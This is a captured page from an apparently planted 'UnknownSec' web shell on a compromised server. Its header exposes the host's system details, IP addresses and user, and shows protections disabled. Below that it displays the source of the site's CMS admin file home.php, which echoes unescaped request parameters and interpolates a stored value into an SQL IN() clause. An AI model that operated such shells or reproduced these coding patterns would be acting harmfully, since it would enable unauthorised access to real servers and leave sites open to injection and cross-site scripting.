shell bypass 403

UnknownSec Shell

Uname: Linux dedi-15171674.espacofacial.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
Software: Apache
PHP version: 8.2.33 [ PHP INFO ] PHP os: Linux
Server Ip: 104.21.5.151
Your Ip: 216.73.217.58
User: espa7358 (1004) | Group: espa7358 (1003)
Safe Mode: OFF
Disable Function:
NONE

name : home.php
<?php
$AdminLevel = LEVEL_WC_TRATAMENTOS;
if (!APP_TRATAMENTOS || empty($DashboardLogin) || empty($Admin) || $Admin['user_level'] < $AdminLevel) :
    die('<div style="text-align: center; margin: 5% 0; color: #C54550; font-size: 1.6em; font-weight: 400; background: #fff; float: left; width: 100%; padding: 30px 0;"><b>ACESSO NEGADO:</b> Você não esta logado<br>ou não tem permissão para acessar essa página!</div>');
endif;

//AUTO DELETE POST TRASH
if (DB_AUTO_TRASH) :
    $Delete = new Delete;
    $Delete->ExeDelete(DB_TRATAMENTOS, "WHERE trat_title IS NULL AND trat_content IS NULL and trat_status = :st", "st=0");

    //AUTO TRASH IMAGES
    $Read->FullRead("SELECT image FROM " . DB_TRATAMENTOS_IMAGE . " WHERE trat_id NOT IN(SELECT trat_id FROM " . DB_TRATAMENTOS . ")");
    if ($Read->getResult()) :
        $Delete->ExeDelete(DB_TRATAMENTOS_IMAGE, "WHERE id >= :id AND trat_id NOT IN(SELECT trat_id FROM " . DB_TRATAMENTOS . ")", "id=1");
        foreach ($Read->getResult() as $ImageRemove) :
            if (file_exists("../uploads/{$ImageRemove['image']}") && !is_dir("../uploads/{$ImageRemove['image']}")) :
                unlink("../uploads/{$ImageRemove['image']}");
            endif;
        endforeach;
    endif;
endif;

// AUTO INSTANCE OBJECT READ
if (empty($Read)) :
    $Read = new Read;
endif;

$S = filter_input(INPUT_GET, "s", FILTER_DEFAULT);
$C = filter_input(INPUT_GET, "cat", FILTER_DEFAULT);
$T = filter_input(INPUT_GET, "tag", FILTER_DEFAULT);

$Search = filter_input_array(INPUT_POST);
if ($Search && (isset($Search['s']) || isset($Search['status']))) :
    $S = (isset($Search['s']) ? urlencode($Search['s']) : $S);
    $SearchCat = (!empty($Search['searchcat']) ? $Search['searchcat'] : null);
    header("Location: dashboard.php?wc=tratamentos/home&s={$S}&cat={$SearchCat}&tag={$T}");
    exit;
endif;
?>

<header class="dashboard_header">
    <div class="dashboard_header_title">
        <h1 class="icon-blog">Tratamentos<?= ($C ? " por Categoria" : ""); ?><?= ($T ? " em {$T}" : ""); ?></h1>
        <p class="dashboard_header_breadcrumbs">
            &raquo; <?= ADMIN_NAME; ?>
            <span class="crumb">/</span>
            <a title="<?= ADMIN_NAME; ?>" href="dashboard.php?wc=home">Dashboard</a>
            <span class="crumb">/</span>
            <a title="Todos os Tratamentos" href="dashboard.php?wc=tratamentos/home">Tratamentos</a>
            <?= ($S ? "<span class='crumb'>/</span> <span class='icon-search'>{$S}</span>" : ''); ?>
        </p>
    </div>

    <div class="dashboard_header_search">
        <a title="Novo Tratamento" href="dashboard.php?wc=tratamentos/create" class="btn btn_green icon-plus" style="margin: 2px;">Adicionar Tratamento!</a>
        <span class="btn btn_yellow icon-spinner9 wc_drag_active" title="Organizar" style="margin: 2px;">Ordenar Manual</span>
    </div>
</header>

<div class="dashboard_content">
    <?php
    $getPage = filter_input(INPUT_GET, 'pg', FILTER_VALIDATE_INT);
    $Page = ($getPage ? $getPage : 1);
    $Paginator = new Pager("dashboard.php?wc=tratamentos/home&s={$S}&cat={$C}&tag={$T}&pg=", '<<', '>>', 5);
    $Paginator->ExePager($Page, 12);

    if (!empty($C)) :
        $WhereCat[0] = "AND ((trat_category = :cat OR FIND_IN_SET(:cat, trat_category_parent)) OR :cat = '')";
        $WhereCat[1] = "&cat={$C}";
    else :
        $WhereCat[0] = "";
        $WhereCat[1] = "";
    endif;

    if (!empty($T)) :
        $WhereTag[0] = "AND trat_tags LIKE '%' :tag '%'";
        $WhereTag[1] = "&tag={$T}";
    else :
        $WhereTag[0] = "";
        $WhereTag[1] = "";
    endif;

    if (!empty($S)) :
        $WhereString[0] = "AND (trat_title LIKE '%' :s '%' OR trat_content LIKE '%' :s '%')";
        $WhereString[1] = "&s={$S}";
    else :
        $WhereString[0] = "";
        $WhereString[1] = "";
    endif;

    $Read->FullRead(
        "SELECT * FROM " . DB_TRATAMENTOS . " WHERE 1=1 "
            . "{$WhereCat[0]} "
            . "{$WhereTag[0]} "
            . "{$WhereString[0]} "
            . "ORDER BY trat_order ASC, trat_title ASC, trat_date DESC "
            . "LIMIT :limit OFFSET :offset",
        "limit={$Paginator->getLimit()}&offset={$Paginator->getOffset()}{$WhereCat[1]}{$WhereTag[1]}{$WhereString[1]}"
    );

    if (!$Read->getResult()) :
        $Paginator->ReturnPage();
        echo Erro("<span class='al_center icon-notification'>Ainda não existem tratamentos cadastrados {$Admin['user_name']}.</span>", E_USER_NOTICE);
    else :
        foreach ($Read->getResult() as $POST) :
            extract($POST);

            $RegCover = (file_exists("../uploads/{$trat_cover}") && !is_dir("../uploads/{$trat_cover}") ? "uploads/{$trat_cover}" : 'admin/_img/no_image.jpg');
            $RegStatus = ($trat_status == 1 && strtotime($trat_date) >= strtotime(date('Y-m-d H:i:s')) ? '<span class="btn btn_blue icon-clock icon-notext wc_tooltip"><span class="wc_tooltip_baloon">Agendado</span></span>' : ($trat_status == 1 ? '<span class="btn btn_green icon-checkmark icon-notext wc_tooltip"><span class="wc_tooltip_baloon">Publicado</span></span>' : '<span class="btn btn_yellow icon-warning icon-notext wc_tooltip"><span class="wc_tooltip_baloon">Pendente</span></span>'));
            $trat_title = (!empty($trat_title) ? $trat_title : 'Edite esse rascunho para poder exibir como artigo em seu site!');

            $postTags = null;
            if ($trat_tags) :
                foreach (explode(",", $trat_tags) as $tags) :
                    $tag = ltrim(rtrim($tags));
                    $postTags .= "<a class='icon-price-tag radius' title='Artigos marcados com {$tag}' href='dashboard.php?wc=tratamentos/home&s={$S}&cat={$C}&tag=" . urlencode($tag) . "'>{$tag}</a>";
                endforeach;
            endif;

            $Category = null;
            if (!empty($trat_category)) :
                $Read->FullRead("SELECT category_id, category_title FROM " . DB_CATEGORIES . " WHERE category_id = :ct", "ct={$trat_category}");
                if ($Read->getResult()) :
                    $Category = "<span class='icon-bookmark'><a title='Artigos em {$Read->getResult()[0]['category_title']}' href='dashboard.php?wc=tratamentos/home&s={$S}&cat={$Read->getResult()[0]['category_id']}&tag=" . urlencode($T) . "'>{$Read->getResult()[0]['category_title']}</a></span> ";
                endif;
            endif;

            if (!empty($trat_category_parent)) :
                $Read->FullRead("SELECT category_title, category_id FROM " . DB_CATEGORIES . " WHERE category_id IN({$trat_category_parent})");
                if ($Read->getResult()) :
                    foreach ($Read->getResult() as $SubCat) :
                        $Category .= "<span class='icon-bookmarks'><a title='Artigos em {$SubCat['category_title']}' href='dashboard.php?wc=tratamentos/home&s={$S}&cat={$SubCat['category_id']}&tag=" . urlencode($T) . "'>{$SubCat['category_title']}</a></span> ";
                    endforeach;
                endif;
            endif;

            echo "<article class='box box25 post_single wc_draganddrop' callback='Tratamentos' callback_action='pages_order' id='{$trat_id}'>           
                <div class='post_single_cover'>
                    <a title='Ver artigo no site' target='_blank' href='" . BASE . "/artigo/{$trat_name}'><img alt='{$trat_title}' title='{$trat_title}' src='../tim.php?src={$RegCover}&w=" . IMAGE_W / 2 . "&h=" . IMAGE_H / 2 . "'/></a>
                    <div class='post_single_status'>
                        <span class='btn wc_tooltip'>" . str_pad($trat_views, 4, 0, STR_PAD_LEFT) . " <span class='wc_tooltip_baloon'>Visualizações</span></span>
                        {$RegStatus}
                   </div>
                    " . (!empty($postTags) ? "<div class='post_single_tag'>{$postTags}</div>" : "") . "
                </div>
                <div class='post_single_content wc_normalize_height'>
                    <h1 class='title'><a title='Ver artigo no site' target='_blank' href='" . BASE . "/artigo/{$trat_name}'>{$trat_title}</a></h1>
                    <p class='post_single_cat'>{$Category}</p>
                </div>
                <div class='post_single_actions'>
                    <a title='Editar Artigo' href='dashboard.php?wc=tratamentos/create&id={$trat_id}' class='post_single_center icon-pencil btn btn_blue'>Editar</a>
                    <span rel='post_single' class='j_delete_action icon-cancel-circle btn btn_red' id='{$trat_id}'>Deletar</span>
                    <span rel='post_single' callback='Tratamentos' callback_action='delete' class='j_delete_action_confirm icon-warning btn btn_yellow' style='display: none' id='{$trat_id}'>Deletar Post?</span>
                </div>
            </article>";
        endforeach;

        $Paginator->ExePaginator(
            DB_TRATAMENTOS,
            "WHERE "
                . "((trat_category = :cat OR FIND_IN_SET(:cat, trat_category_parent)) OR :cat = '') "
                . "AND (FIND_IN_SET(:tag, trat_tags) OR :tag = '') "
                . "AND (trat_title LIKE '%' :s '%' OR trat_content LIKE '%' :s '%')",
            "cat={$C}&tag={$T}&s={$S}"
        );
        echo $Paginator->getPaginator();
    endif;
    ?>
</div>
© 2026 UnknownSec